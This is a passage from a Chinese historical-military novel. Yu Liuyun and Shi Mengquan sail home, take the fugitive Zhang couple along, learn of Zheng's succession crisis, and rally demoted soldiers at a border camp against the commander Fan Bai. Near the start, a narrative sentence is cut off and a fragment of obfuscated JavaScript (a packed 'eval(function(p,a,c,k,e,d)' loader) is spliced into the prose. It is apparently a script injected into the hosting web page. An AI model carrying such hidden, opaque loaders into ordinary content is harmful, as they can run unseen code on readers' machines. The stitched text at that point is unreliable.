这时,卓思远正好回来了,说礼物已经搬运完毕。玉、石二人就同着段青锋一起来到甲板上,向孝文太后和武德帝拜别。 武德帝还是沉默,孝文太后则一直微笑着,同他们说了些客套的话。末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但不料茶还未送到口边,却听外面甲板上一阵争执之声,有个女人尖声嚎叫:“你们敢碰本小姐!你们知道本小姐是谁么?我是……”后面的话没说出来,已经便成了闷闷的呼噜之声,显然的嘴巴被人捂上了。 玉、石二人互望了一眼,赶紧快步出来看个究竟。只见甲板之上几个水手抓住了一男一女,正要把他们丢进水中。石梦泉喝道:“做什么?还不快住手!” 水手们一愣,那被制的女子就狠狠一口朝人的胳膊上咬了下去。水手吃疼,“阿唷”大叫,已经被那女子跑脱。“相公!相公!”女子又扑上去要撕咬另一个水手,却被一脚踢翻了。那受制的男子,也就是他相公,哇哇大骂:“欺负女人,你算什么男子汉大丈夫?” 玉、石二人这便认出了这个男人来,正是牟希来的女婿张至美。那么这个凶悍女子就是牟家小姐了。 牟希来被抄家,全家发配,莫非这两个人跑脱了? 玉旒云吩咐水手们放人:“究竟是怎么一回事?” 水手答道:“启禀大人,小的们发现这两个人躲在……躲在货舱里鬼鬼祟祟,于是就把他们拉了出来。小的看他们多半不是好人,所以打算把他们丢进水里。” “什么不是好人?”张夫人怒道,“我是牟太师的女儿。你们如此待我,我非要我爹摘了你们的脑袋不可!” 张至美也道:“我们没有鬼鬼祟祟。我们只是送朋友上错了船而已。” 水手道:“还要狡赖!上错了船立刻下去就是。为什么要等到开船了被我们抓出来?” 张至美道:“你以为我们不想下吗?是你们门锁上的机括有古怪,一碰上就打不开了,我们才被困在船上!害我也没赶上跟朋友送别!” 玉旒云眯眼睛看着这个呆子。她吩咐水手们都先下去,接着道:“究竟是怎样的前因后果,你老老实实给我说一遍。” “是。”张至美已经知道玉旒云的真实身份,想起自己上次演出《大青河之战》,以小丑扮她,还自鸣得意,心中就是一寒,讲话声音也打颤了:“小人知道公孙大哥今天早晨要离开,所以就想到码头上来送行。不过昨晚饮多了几杯,就起迟了,那时公孙大哥和岳父大人都已出门。我来到码头上,只知道是一艘彩旗商船,于是就走了上来。我不见公孙大哥和岳父大人,于是四处寻找,不想就撞进一见库房被锁在其中……冲撞玉大人,实在……” 玉旒云哪里在乎他“冲撞”,只是听到了公孙天成的消息,便追问道:“公孙先生今天早晨离开?这是怎么一回事?” 张至美道:“昨天法会结束后,皇上就让公孙大哥到我家里休息。本来说要今天在朝会上商议什么楚国帮我国兴修水利之事,但后来我岳父大人回来了,就跟公孙大哥说什么时间紧迫,须得立刻结盟,又什么火炮和《铸造秘要》已经装船,如果公孙大哥答应,次日卯时即在码头船上签定盟约。他们讨论了许久,具体说的我也记不清了。不过,总之是结下盟约,岳父叫我准备酒菜,这才喝多了……” 原来是这样!难怪牟希来死到临头还要说一句他把皇帝交代的事都办好了!玉旒云差点儿抬脚把张至美踢下水去:可恶的牟希来!可恶的武德帝!孝文太后和段青锋有没有参与其中呢?西瑶这群狡猾的家伙,到头来还是脚踩两只船! 啊!难不成什么发配牟希来的事也是假的? 石梦泉见她只是在那里冷笑,其实自己也猜出了事情的经过,此时要挽回,已是不能——公孙天成比他们早出发两个时辰,早不知道行至何处了。即使全速追赶,难道追上了还能开炮把公孙天成的船打沉了不成?他连忙扶住了玉旒云的胳膊:“大人,不要着急。我们要从长计议。” 从长计议……玉旒云控制着自己的怒火,不错……段青锋的兵符不知是真是假?将来在战场上能否用上?恐怕西瑶终究只是想作壁上观,最后看谁快赢了,就来帮一把——墙倒众人推,这如意算盘倒打得响!哼,她恨恨地想,如果孝文太后敢玩这种花样,休怪我将翦重华的坟墓踏平! 张至美不知玉旒云为何发怒,只看到她的眼神好像利剑,充满杀气,吓得连跪都跪不稳了,连连磕头道:“是小人冲撞了玉大人,不关我娘子的事。大人要把小人丢下水喂鱼也好,喂乌龟也好,小人决无半点怨言。但是请大人一定要把我娘子送上岸。求大人开恩——” 玉旒云叫这磕头“咚咚”声弄得更加心烦,不过听他说“喂鱼”“喂乌龟”,又觉得好笑:“你和公孙天成称兄道弟,怎么你夫人也跟着来送行?” “我娘子她不信我是要来送行。”张至美不敢撒谎,“她疑心我是要去绿窗小筑里寻花问柳。我怎么说,她也不听,就只好带了她来。没想到……请大人开恩!” 玉旒云心里飞快的转过了无数的主意:如果我就此杀了张氏夫妇,不知这些水手将来回来西瑶会怎么说?而如果我留下此二人性命,万一牟希来被发配是假,日后遭遇,也好有个要挟。 主意一定,她就缓和下面色,做出一副为难之态,道:“张公子,其实玉某人根本就不想把你和尊夫人丢下水去,我还很想把你们送上岸。只是……唉,你还不知道,你们这样误打误撞地上错了船,其实是拣回一条命啊!” 张至美虽然满肚子都是戏文,但岂会料到人世比戏更险恶?完全听不明白。倒是张夫人有些见识,道:“大人什么意思?莫非是家父出了事?” 玉旒云点了点头:“二位被锁在船上,所以不晓得。牟大人送完公孙先生后回到宫中,就被安上了结党营私、勾结逆贼、谋害太后等好些罪名,立刻就被抄没了家财。你们本该全家发配去矿山做工,永世不得回京呢——还好你二人走脱了。” “怎么……怎么会有这种事?”张夫人面色苍白,几乎晕倒,“我要回去救他老人家!” 玉旒云淡淡的:“夫人稍安勿躁。玉某看,你回去非但救不了牟大人,还会枉送性命。” 张夫人带着哭腔:“是什么人诬陷家父?” 玉旒云叹了口气:“本来贵国的事我是不该过问的,而且我也只是猜测——今天……今天太后娘娘垂帘听政了。” “啊?这种事?”张夫人惊得合不拢嘴,“曾听家父抱怨过太后想把持朝政,但是她多年来一直都住在尼姑庵里,对政事不闻不问,所以没人相信家父的话……没想到今日……” 玉旒云道:“玉某也只是猜测而已。只不过,若此事当真是太后主谋,恐怕连皇上都已经落入她的掌握之中。夫人回到临渊,又能做些什么呢?” 张夫人落下泪来:“大人说的虽然有理,但是,我不回临渊,也不能如何啊!” 张至美一向畏妻如虎,是个窝囊废,见到夫人哭成了泪人儿,自然更加没主意了,只有“哇”的一声,也跟着哭了起来:“娘子啊,咱们今后怎么办才好?” “两位先不要着急。”玉旒云道,“张公子,你的义兄公孙先生足智多谋,如果能找到他,一定能想出营救牟大人的方法。只是,现在西瑶境内一定在四处通缉二位,所以不能让二位在西瑶乘船去楚国。而我和石将军都是樾国人。樾楚交战,所以我们的船也不便停靠在楚国的港口。如果二位不嫌弃,可以跟我们一道北归。到时候再南渡大青河去楚国寻访公孙先生,可好?” 这样一来,岂不是要花费好几个月的时间?张至美夫妇忧愁焦虑,哪里还会仔细推敲,只听玉旒云分析的大略有道理,有含泪答应,殊不知玉旒云在心中暗暗冷笑:牟希来老贼,看我怎么收拾你! 于是张至美夫妇就同玉、石二人一同上路。船行飞快,第二日就从运河口进入了天江。这里已是天江中、下游的交接之处,江面开阔,风景秀美。两岸都是楚国和西瑶的千顷良田,正当收割时节,田中是金灿灿的波涛,江里是碧悠悠的水浪。西瑶这边还有边民一边劳作一边唱歌,曲调悠扬动听。 石梦泉想,樾国的南方七郡也该收割了。去年这时候,他站在田里,北方秋高气爽,日头暖洋洋地照着,他和士兵们比赛,看哪个先割完一垄庄稼。那些士兵,有多少已经死在大青河的战场上了?他记起自己当个平凡庄稼人的梦想,又记起自己是怎样否定这个梦想的——他须得守在玉旒云的身边,因此就离开那平凡的梦越来越远。 但无论如何,只要有她就好,他想。 再行十数日,江水又浑浊了,乃是因为接近入海口泥沙被冲击起来的缘故。但又行一日,清晨步出船舱一看,只见周遭豁然开朗,仿佛世界在一夜之间消失了一般,只剩下一片汪洋大海。石梦泉是第一次见到大海,被这片广阔无边的蔚蓝所震慑,半晌说不出话来,连感慨也不知要从何而发。 倒是玉旒云在旁边指了指远处的一排白浪,道:“好气派!”他才想起了词儿:“可不是,这么远都看得清楚,到了近处不晓得要有几丈高。要是小船到了那样的浪里,恐怕得粉身碎骨。” 玉旒云道:“我却听说海边有许多弄潮儿,专门在浪尖上滑行。我看这白浪好像一条白龙,如果能以舢板飞驰于上,那就好像骑着白龙游大海了。” 石梦泉笑道:“只有大人才有如此豪情。” 玉旒云道:“豪情归豪情,正像你所说的,现在可不是我在这种游戏之事上玩命的时候。听水手们说,海上的星空特别美,今夜我要在甲板上饮酒——你可不许跟我说什么婆婆妈妈的话。” 这些日子以来,她的伤已经痊愈了,石梦泉也就不扫她的兴,道:“大人有此雅兴,别说是饮酒,就是饮铁水,我也要舍命相陪。” 玉旒云“呸”地啐了他一口:“我不玩命,要你玩什么命。咱们该好好的喝一场酒,然后干一番大事。” 石梦泉道:“是,这就叫人去准备。” 玉旒云点了点头,又突然嘻嘻笑道:“梦泉,你死定了,居然忘记今天是什么日子。” 石梦泉一愣,水上航行,他没计算,细一回想,才一拍脑袋:“哎呀——”今天是十月初十,玉旒云的生日啊!“真真该死!”他跺脚道,“要杀要剐随大人高兴吧!” “呸!”玉旒云笑,“如果你刚才不答应和我喝酒,我可真要杀你剐你了。既然你答应,那就今天晚上先罚你三杯。” 石梦泉笑道:“大人爱罚几杯就罚几杯。” 这一天夜里,果然有满天的星辉。 54. 第 54 章 航行至大青河口的时候已经到了十一月中,樾国西京早该落雪了,而海边地方稍暖和些,天气尚晴朗,唯风比较大,飒飒吹来,有说不出的萧索。 河口处属于郑国领土。郑国经去年与樾一战后割地赔款,到这光景还未恢复过来。原本他们同西瑶一样,也是海上贸易的行家,而现在港口几乎见不到外国商船,所有停泊的郑国船只都老旧破烂,也许商家早就逃难去了。 玉旒云船上的水手都是西瑶装扮,自由商人的行动不受国界之限制。是以他们靠岸的时候,并没有人来盘查——其实,以他们的装束,在楚国靠岸也是绝对安全的,只不过,为了把张至美夫妇骗到樾国去,玉旒云吩咐,除了必要的补充淡水和食物,不得停靠楚国港口。 算来大家已经许久没有踏上过陆地。海上的风光再好,却很单调。玉旒云早就憋闷坏了。终于到了郑国港口镇海,她就下令:大家到城里转一转。 张至美夫妇举目无亲,早把玉、石二人当了知己。自然就陪着他们一起上了岸。 一行人到了市集上,见处处萧索,许多商店都关着门。好容易找到一家饭馆,里面的酒菜更是淡而无味。张夫人多年来娇生惯养,在船上已经吃尽了苦头,这时终于忍不住抱怨起来:“这鱼这么腥,怎么吃啊!” 正说的时候,见到一个拿胡琴的老人带了个小姑娘走进店来,想来是卖唱的。看到客人只有玉旒云这一桌,就走了过来,道:“几位要听曲儿吗?我孙女儿唱得不错。” 张至美性好风花雪月,早就无聊得快死了,自然说:“好,好,有什么曲子?” 姑娘道:“会的不多,请公子勿见笑。”因唱道:“秋风萧萧愁杀人,出亦愁,入亦愁。座中何人,谁不怀忧。令我白头。胡地多飚风,树木何修修。离家日趋远,衣带日趋缓。心思不能言,肠中车轮转。” 这古歌本来悲凉,姑娘唱来更显得哀伤。张氏夫妇想到自己远离家乡,而牟希来又凶吉不知,不免都喟叹。 玉旒云看这祖孙俩瘦骨嶙峋,恐怕是很久也没吃饱了,生了怜悯,就想打赏些银子。却见掌柜急匆匆地跑了过来:“要死了!要死了!谁让你们来唱的?你们不要脑袋,我还要呢!快走!快走!”就出手撵祖孙二人。 老人哑着嗓子:“掌柜的,您就行个好……我们几天揭不开锅啦。再不出来卖唱,可要饿死——这孩子的娘还病着呢!” 掌柜道:“饿死也是死,掉脑袋也是死——你想死,可不能拉上我——快走!” 玉旒云看不过去了,将银子“啪”地在桌上一敲:“老人家,你拿着!”既而又问掌柜:“人家讨生活也不容易,你为什么要撵他们?为什么他们卖唱就会掉脑袋?” 掌柜见出手这么大方,知道这个客人有来头,因客气地说道:“公子是外乡来的么?” 玉旒云道:“不错,我们是西瑶人,刚来此间。” 掌柜道:“哦,公子有所不知,上个月廿五,我郑国皇帝陛下驾崩了,现在是国丧期间,自然禁止一切宴乐。” 啊?郑国皇帝驾崩!玉、石二人互望了一眼:他们此来有攻下郑国的计划,现在皇帝驾崩,国中上下权力交接一片混乱,岂不是大好时机? “难怪街市萧条。”玉旒云道,“不过,等到新君登基就应该恢复了吧?” 卖唱的祖孙接了银两,对她千恩万谢,又道:“新君登基?还不晓得要等到什么时候。这日子真是没法过下去了。” 掌柜也跟着叹道:“你没法过——我也没法过啦,该关门了。” 玉旒云来了兴趣:“恕在下初来乍到,不太明白。皇上驾崩,接着不就是太子登基么?所谓国不可一日无君,当然是越早登基越好。为什么你们说不知道要等到何时?” 掌柜反正也没有生意,干脆就拉张凳子坐下来闲聊——原来那郑国皇帝自从割地赔款后就一病不起,到八月的时候,他的太子得了急病,太医束手无策。有的说,非得去寻访百草门的后人不行,但百草门早就划入樾国地盘,传人下落不明,要上哪里去寻找呢?这样,太子没拖一个月就去世了。郑国皇帝白发人送黑发人,病一发重了,到十月里,还没来得及册立王位继承人就撒手人寰。他尚有三个儿子一个叔叔和两个弟弟,各各都想当皇帝。其中以二皇子和皇叔的力量最强,都是手握兵权的。两个人现在正拉帮结派。其他的人也招兵买马。因为大家互相谁也不服谁,所以须得做出一件让郑国百姓都信服的惊天动地之举,才可以坐稳王位。于是大家初步计划,谁可以带兵取回被樾国占去的半壁江山,谁就登基为王。 “哦?”玉旒云听了真是大喜过望:我还想着怎样找个由头收拾你们,你们倒自己撞上来了。什么二皇子、皇叔,听都没有听说过。郑国会打仗的人唯有曹猛,已经被斩于翼水。其他的,无非草包而已!不过她还是装作忧虑地道:“这要是真的开了打,的确不知道什么时候才能打完。至于打不打得赢,更是没人说得准。若是大家都没有把半壁江山抢回来,难道还没人做皇帝了?可不要天下大乱?” 掌柜道:“怎么会没人做皇帝呢?如果二皇子和皇叔都打不赢,或者出了什么意外,还剩下三皇子、四皇子以及两位皇弟,总有人出来——至于是谁,又要怎么个决定法……唉,我们老百姓管不着,只有吃苦的份。” 石梦泉也觉得这个国家太没道理,都到这危急存亡之秋了,皇室内部却斗来斗去——不过哪个国家不是如此?西瑶,楚国,还有樾国——也许皇室生来就是不太平的,不管国家是否太平。 玉旒云道:“那二皇子和大皇叔打算几时打樾国呀?我还赶着要做生意,万一打起来,可就糟糕了。” 掌柜道:“谁晓得?唉——公子是要在我国做生意还是去樾国?” “我……去樾国。”玉旒云道,“不过若能在这儿脱手些散货也是好的。” 掌柜摇摇头:“公子看看我们这里,能逃难的都逃难了,被拉壮丁的就拉了壮丁,还做什么生意?你想去樾国就快点去吧。迟些打起仗来可就过不去了。” 得到了这个消息,玉旒云立刻回到了船上,下令即时离港,全速向上游前进。张至美夫妇自然以为是为了躲避战乱,要快些进入樾国的领地,而石梦泉却明白,她这是要赶紧掌握边境情况,以谋大事。 西瑶水手都驾船技术高超。过了三天,就到达了郑樾边境,再一夜,已然进入樾国。他们在一座旧时商港停泊——这里和镇海的情形相似,因为战乱之后还未恢复,只有些破旧的船只。原本港口附近的市场也关闭,店铺早就人去楼空,在清晨的雾气里显得鬼森森。 总算又踏上了樾国的土地!石梦泉深吸了一口气,清冷的,满是北国的味道。玉旒云在旁边笑道:“你做什么?莫非也发了诗情?” 石梦泉笑了笑:“诗情倒没有,馋虫有一条。好久没吃樾国的饭菜了,怀念得很呢!” 玉旒云道:“那恐怕你还得馋很久。这里才攻下来一年多,恐怕还只有郑国菜吃。” 石梦泉本来也就是玩笑,因道:“哪里有郑国菜?这里鬼影也不见,恐怕只有西北风。” 玉旒云道:“哈,那可正好。西京到了冬天也是刮西北风的,我看这里的西北风和西京也差不了多少。你就喝点西北风,也是家乡菜嘛。” 斗嘴的时候石梦泉习惯了让玉旒赢,因此只笑了笑,权当自己甘心去喝西北风了。 而就在这个时候,他们听见了一阵整齐的脚步声。两人都朝码头的路上望去,渐渐看到雾中的人影了,大约有二十来个,都是樾军服色,由一个十夫长模样的人带着,正晨操。 玉旒云当初是和吕异一同来攻打郑国的,战胜之后郑国割让了土地,也就顺理成章的派了吕异的部众来驻守边疆。吕异任人唯亲,留自己的外甥范柏在此做总兵。看来这一队就是范柏的手下。 倒还勤奋嘛,玉旒云有些意外,听说范柏是个懒虫啊! 石梦泉咳嗽了一声:“大人,他们朝咱们这边来了,现在恐怕还不是表露身份的时候。” 玉旒云也是一般想法:未料回到了自己的国家,还要像身在敌境一样处处防范! 两人便打算趁着雾气的掩护转回船上去,叫张至美夫妇来应付士兵的盘查。不料,还没转过身,那边已有兵丁喝道:“前面什么人?站住!”话音落下,一队人已经“哒哒哒”跑到了跟前。“你们是商人么?哪一国的?” 石梦泉道:“西瑶。” 兵丁道:“西瑶?做什么生意?为何在此靠岸?” “做的茶叶生意。”石梦泉应道,“这里不能靠岸吗?” 兵丁道:“这里靠近边境,已经是军营的地界,不许民船停靠。你们赶紧离开。” 原来变了军营,玉旒云想,那就是撞到了范柏的手里。她可不能让吕异知道自己的行踪。听到兵丁驱逐,她求之不得:“多谢告之,我们这就走。” “慢着!”那十夫长喝住他们,“我们要登船检查。” 那还了得!船上这么多火炮怎么可以叫人看见?玉旒云暗想,也许是这些士兵想要找点儿麻烦,揩些油水。因笑着低声道:“各位军爷行个方便吧。这茶叶一旦走了气,就没法卖了。”悄悄地递过一锭银子去。 十夫长“啪”地一下打开了她的手:“你把我们当什么人了?我们只是检查,又不是破坏。你船上没有违禁之物,立刻放你离去。” “军爷,”石梦泉打哈哈道,“我们只是误停在军港中,立刻就走,还不行?就别为难我们了吧” “不行!”十夫长态度坚决,“已经在军港靠了岸,就是渔船也要搜查。你们若是再阻挠,我就要将你们拿下了。” 难不成得动手了?玉、石二人互望一眼,对付这二十个普通兵丁还不算困难,但是打草惊蛇,万一引了更多的人来,那就一定会暴露行踪了。 十夫长以为他们怕了,上前一拱手:“两位放心,我登船检查,一定不会毁坏你们的货物。”便朝手下一挥手,士兵们就跟着他朝福船而去。 这可糟了!玉旒云只能速战速决,紧走一步,“呼”地朝一个兵丁的肩头拿下。 那兵丁的功夫也不含糊,听风辨位,肩膀一缩就闪开了,叫声“好哇”劈手来抓玉旒云。玉旒云又岂能被他拿住,纵身一翻,已约出了他的攻击范围。不过,其他的兵丁也发现这边动上了手,纷纷叫道:“果然有古怪!”捋起袖子攻了上来。 石梦泉自然也卷入了战团。有道是“擒贼先擒王”,他目不斜视,直向那十夫长扑了过去,一拳击向对手的面门。十夫长自然仰身避让,同时两手一剪,想把石梦泉的腕子夹住。不想这正着了石梦泉的道儿。他那一拳根本就是虚招,一探而收。十夫长两臂剪了个空,收手不及,被石梦泉一把钳住。“过来!”石梦泉轻喝一声,就将他拉入了自己的掌握,一手扼住其咽喉,道:“叫你的人停手。” “休想!”十夫长怒骂。不过这时他和石梦泉离得很近了,晨雾不再阻挡人的视线。他怔了怔:“哎呀,你是……你是石副将……不,石将军?” 石梦泉正暗呼“糟糕”,那十夫长又道:“那么……那个是……玉将军?哎呀!兄弟们快停手!这可真是大水冲了龙王庙了!” 兵丁们听了这话,果然全都住了手,个个惊讶,看看石梦泉又看看玉旒云:“真的是玉将军和石将军!” 这时已不能否认,玉旒云只有飞快的在脑子里想着对策,但是一个念头猛地闪过:这些普通兵丁和自己应该没有多少接触,怎么能认出他们来? “玉将军,石将军——”那十夫长道,“你们不认识我了么?我是邓川啊!” 邓川?玉旒云一下想了起来:当日自己在翼水几次横渡,目的是要迷惑郑军。吕异一直认为她视打仗为儿戏,坚决不肯配合这个计划。但是因为她毕竟是皇亲,不能当面闹翻,所以就给她来了个“软抵抗”,把所有中层将领都召集到自己的军帐中“商讨大计”,让玉旒云找不到中层将领来带兵。当时玉旒云手底下只有石梦泉一个副将,根本无法指挥整支部队。她正气恼万分,便有一个吕异手下的副将来表明心志。这个人就是邓川。他不仅自己领兵,还带了不少下级军官来帮手,这才使玉旒云的计划能够顺利实行。算来他应该是此一战中的大功臣,只后来因为吕异恼火,所以才没有升迁——他怎么成了十夫长?玉旒云好生惊讶。 邓川说起这事来更是满肚子恼火:“玉将军,别提了!”他把经过简短地说了一回:原来吕异一直痛恨邓川等手下“吃里爬外”,范柏上任后为了讨好吕异,就把这些军官统统降职。而且这职降得简直离谱儿——副将成了十夫长,其下的参将、游击、佐领等等,竟然一抹到底,全都成了小兵。 “这还不是最气人的。”邓川道,“我和这些兄弟被派来营地周围巡查,邵聪他们几个都被派去伙房啦。” “什么?”玉旒云真是怒气冲天——邵聪原本是个参将,箭法极好,百发百中。现在这弯弓搭箭的手竟然去抓锅铲子了,简直…… 邓川摆了摆手:“玉将军,别提这些丧气事了。我听说石将军要做赵王爷的女婿了,实在可喜可贺。” 石梦泉浑身不自在,玉旒云就替他回答:“那自然是大喜事,不知道什么时候有喜酒喝。到时一定告诉你们。” 邓川道:“玉将军太抬举我们啦,我们几个屁也不是,怎么敢上赵王府的喜酒桌?只要将来还有用得着我们的地方,将军说一声,我们跟着将军冲锋陷阵,皱一下眉头,那就不是汉子。”才说到这里,突然又道:“哎呀,听说将军现在不带兵了,高升做了领侍卫内大臣?” 玉旒云笑了笑:“不错。皇上和皇后娘娘都想我留在身边。” 邓川抓了抓脑袋:“虽是这样,但……郑国这边怎么办?我们听说郑国皇帝死了之后,他的儿子、叔叔、弟弟都想抢王位,后来约定谁打赢了我军,谁就当皇帝呢——这些大言不惭的龟儿子欠教训,不过……范总兵人头猪脑,岂是带兵的材料?万一打起来……” 玉旒云暂时不便泄露自己的计划,因道:“我调任领侍卫内大臣之后部下都交给了刘将军和吕将军,此刻他们就驻扎在瑞津,约有三万之众。刘、吕二位将军自己的部众分别驻扎在原来铴国和郑国的地盘上,加起来怕有十万人。如果郑国人真的不知死活前来寻衅,那就把这三处的军队都开过来,定能将他们打个落花流水。” 邓川道:“唉,到时候还不知范总兵要怎么指挥呢!再说了,拿十几万大军去把人家踏平踩扁,赢也赢的不光彩。两位大人怎么会到这里来?” “我们本在北方打猎。”玉旒云道,“后来就游玩到了南方,认识了两个西瑶朋友,正好搭他们的船。” 邓川道:“哎呀,刚才真是多有冒犯——玉大人打算从哪里登岸回京?” “我还没想好呢。”玉旒云道,“皇上也知道我不喜欢成日呆在宫里,但以后都得在京城当差,闷也闷死啦。所以他特准我先出来玩一趟,多少时日都无所谓。”她想了想,又道:“今天到这里,不意遇到你们几个,实在是开心。不晓得能不能在这儿多停泊几日?只是,这里现为军港,万一被范总兵知道,岂不连累你们?” 邓川道:“玉将军肯留在这里,我们高兴还来不及能。您放心,范总兵除了跟他的几个姨太太逍遥之外,啥也不做。我们兄弟几个说是巡逻,他也从来不叫我们去问话。就郑国人打过来,他也不见得晓得。玉将军乐意留多久,就留多久。需要些什么,尽管吩咐我们。” 玉旒云道:“我倒没什么‘吩咐’,不过我们的石将军刚才说许久没吃到樾国风味的饭菜了。不晓得你们军营里能不能做得出来?” 石梦泉正要说“别麻烦”,邓川却已经道:“哈,玉将军忘了现在军营的伙房里邵聪在主持么?如果樾国人烧的就叫樾国风味,那自然就做得出来。否则,非得范总兵自己的厨子才行。” 玉旒云道:“我是跟你开玩笑的,邵聪做菜我可不敢吃。但你们若是能找点什么饭菜来,我船上有好酒,今晚我想请你们弟兄来喝一杯。” 石梦泉这时猜到玉旒云的用意了:她是想把这些人也收为己用。 邓川和手下受宠若惊:“将军,这可折煞我们了。” 玉旒云道:“冲锋能一起冲,喝酒怎么就不能一起喝?你把伙房里的人也都叫上。今晚咱们船上见。” 这天天黑的时候,邓川果然领着一批被范柏排挤的兵士来了,都是在当年翼水一战中立下汗马功劳的军官。那被派在伙房的邵聪还当真带了几样自己烧的菜来,道:“在哪里当兵都得把本分做好。没道理只有上阵杀敌才尽心尽力,做饭就随便做的。要是把兄弟们都吃病了,岂不糟糕?玉将军、石将军,两位一定要尝尝我的手艺。” 众人就在甲板上开席。玉旒云也邀请了张至美夫妇参加。张至美倒是见多了文人的婉约很想见识一下真正的豪放,但张夫人不屑和武夫一处,因此谢绝了,也强把丈夫拉走。一行人反而更加自在,没一会儿功夫,已经把船上所有的酒一扫而空。 邓川等将士从前只同玉旒云打过一场仗,对她还不甚了解。经这一番畅饮,就有人慨然道:“我们去年追随玉将军在翼水打仗,开始都是因为信任邓副将,跟着他才来的。后来打了胜仗,虽佩服玉将军智勇非常,不过以为您是个寡言少语的铁面将军,不敢同您多说话。今日始知将军豪情万丈,非常人所能及。” 玉旒云笑了笑:“什么豪情万丈,酒逢知己而已。想起当初翼水一战,多蒙诸位支持,不然国家岂有今日!我玉某人又岂有今日!” 她这一言,把诸人的话头都引了上来,个个回忆起翼水一战。当时玉旒云在翼水上一共渡过五个来回,每一次回来的人数只有去时的一半,到第五次时,十五万军队便神不知鬼不觉地都搬到了敌人的背后。鼓声一响,樾军冲锋,郑军则一溃千里。今日在座的人中,有第一次横渡就埋伏敌后的,也有来回五次的,大家各有各的经历,各有各的见闻,谈起来都是心潮澎湃。然而说了一会儿,又觉得窝火不已。 众人都有几分醉意了,口没遮拦,大骂吕异和范柏不是东西,打仗没有本事,只晓得疾贤妒能,拉帮结派;尤其这范柏是个无赖,一上任就把本地的大姑娘小媳妇儿统统选到自己的身边,简直像是做了土皇帝;军营附近的老百姓能跑的都跑了,有几个上门求情想救回妻女的,都被他打得非死即伤。 如此越说越激气,邵聪拍桌子道:“我们这里是兵营,又不是他吕家、范家的家宅,搞得这么乌烟瘴气的——我的旧部下全都唉声叹气,要不是为了保卫边疆,他们说宁可做了逃兵,也好过跟着姓范的,眼巴巴看他做伤天害理的事。” 玉旒云只是由着他们骂,并不出声,等大家都骂累了、气得说不出话来时,她才静静地道:“既然此人这般可恶,为什么你们不想法子去兵部参他一本?” “我们参他?”邓川道,“他是总兵,我们什么都不是,哪有小卒参总兵的?就算我们写个联名折子,也不知道能不能送到万岁爷的手上。许多弟兄虽然看不惯范柏的所为,但是还留在军中,为的就是有银钱可以寄回家去。我们万一参不倒范柏,这厮报复起来,这些兄弟可就要倒霉啦。” 玉旒云道:“也是一虑。诸位要是觉得玉某人说话还有点分量的,玉某人来替你们参他一本,如何?” 众人先是一愣,既而大喜:“如果玉将军肯出面,这老小子就活到头了。” 玉旒云道:“那好。你们把详细的情形再好好儿跟我说一遍,他做的每一件恶事都不要漏掉,我即刻就写。我牵头,你们愿意署名就署上,不愿意的也无所谓。此事由我一力承担,总算我离开军职后再为将士们做点事。” 众人都情绪高涨,纷纷道:“谁怕事谁不是汉子!玉将军牵头,我们都跟着签名!” 玉旒云便向石梦泉使了个眼色,后者立刻取了文房四宝来。邓川等人一边各自回忆,一边相互补充,玉旒云就笔走龙蛇飞速记录。约莫一顿饭的光景,终于把范柏所做的恶事都写了下来。玉旒云又润色誊抄,末了署上自己的名字,而邓川等人也都跟着签名。 “这折子递到万岁爷的手里,”玉旒云道,“待我再写一封信给他,算是私下里再把事情说一回,不愁范柏不垮台。” 邓川等人觉得她简直是仗义无比,颇有侠士之风,都道:“玉将军肯替将士们和百姓做主,这恩德我们绝对不能忘。您将来有什么需要的,我们万死不辞。” 玉旒云道:“快别这样说。大家一同出生入死过,分什么彼此?这折子和信事关重大,得确保稳妥地送回京城才行,大家可有什么想法?” 一人道:“这个大可包在我身上——我弟弟也被姓范的整治了,原本是武术教习,现在分派去管军报递送。我就叫他八百里加急亲自递进京城,包准稳妥。那姓范的只顾着风流快活,从来也不管军报,少了个人他不会发觉。” 玉旒云喜道:“那可正好。不过八百里递送折子和信件给皇上,未免使人生疑。待我再写一封信给皇后娘娘,烦她帮忙转交一切。令弟帮我八百里加急送信给皇后,外人见到了,只会骂我玉旒云以权谋私而已。” 如此缜密,众人皆佩服万分,无有不点头赞成。 玉旒云就道:“事不宜迟,我今晚就把信写好,明天一早送出。” 众将士知道能惩恶锄奸,兴致大好,又谈了许久才各自散去。 次日一早,玉旒云的书信就八百里加急往西京递了。除了参劾范柏之外,她给庆澜帝的信中当然还有其他更重要的内容——正如早先和石梦泉所商议的,他们要夺回兵权来。不过她的信写得很隐晦,只说自己打猎游玩到了郑樾边境,听闻郑人蠢蠢欲动,将要攻打樾军,恐怕边境驻军兵力不足,要庆澜帝即刻晓谕瑞津驻军,前来支援。兵贵神速,她写道,请陛下立刻决策,送信士兵就地立等调兵秘旨。 整一封信中她没有提到自己想做此次行动的主帅,然而,庆澜帝的秘旨由传信士兵带回,自然是交到她的手上,到时就名正言顺地成了奉皇命挂帅。 算来信函往返加上庆澜帝处理的时间,差不多要十天。于是船就在此地停靠不走。玉旒云利用这时间接见了大批对范柏不满的兵士,才三日,她来到此间的消息几乎传遍了整个军营,唯独范柏自己只顾寻欢作乐,丝毫不知。士卒们对去年翼水一战记忆犹新,争相前来拜见玉旒云。玉旒云又听了他们许多对范柏的抱怨,知道连操练也荒废许久,就叫石梦泉亲自督操,士兵听闻,个个兴奋不已,操练认真,胜过从前十倍。 张至美夫妇也跟着一起耽搁在营地。他二人虽然想早点儿去寻公孙天成搭救牟希来,但是寄人篱下仰人鼻息,他们看玉旒云好像有军务似的,也不好一味地催促人家动身。张夫人心里焦急,只得把怒气都发在丈夫身上。张至美素来怕老婆,只有好言安慰:“我看玉大人是个言出必行之人,她总会把我们送到楚国去的。现在着急白白伤了身子,夫人还是既来之,则安之。” 张夫人道:“好个‘既来之,则安之’,这里除了一群武夫什么也没有,我怎么‘安’哪!” 张至美道:“夫人莫急。那天听到兵士们闲聊,说此地从前是个大商港,繁华无比。现在虽然被军队驻扎着荒废了下来,但是旧日名胜应当还在。我可以陪夫人去游玩一番——这时闲人都走光了,正好清静。” 张夫人想了想,道:“也好,日日都在船上看那些武夫,看得我眼睛都疼了,咱们这就去吧。” 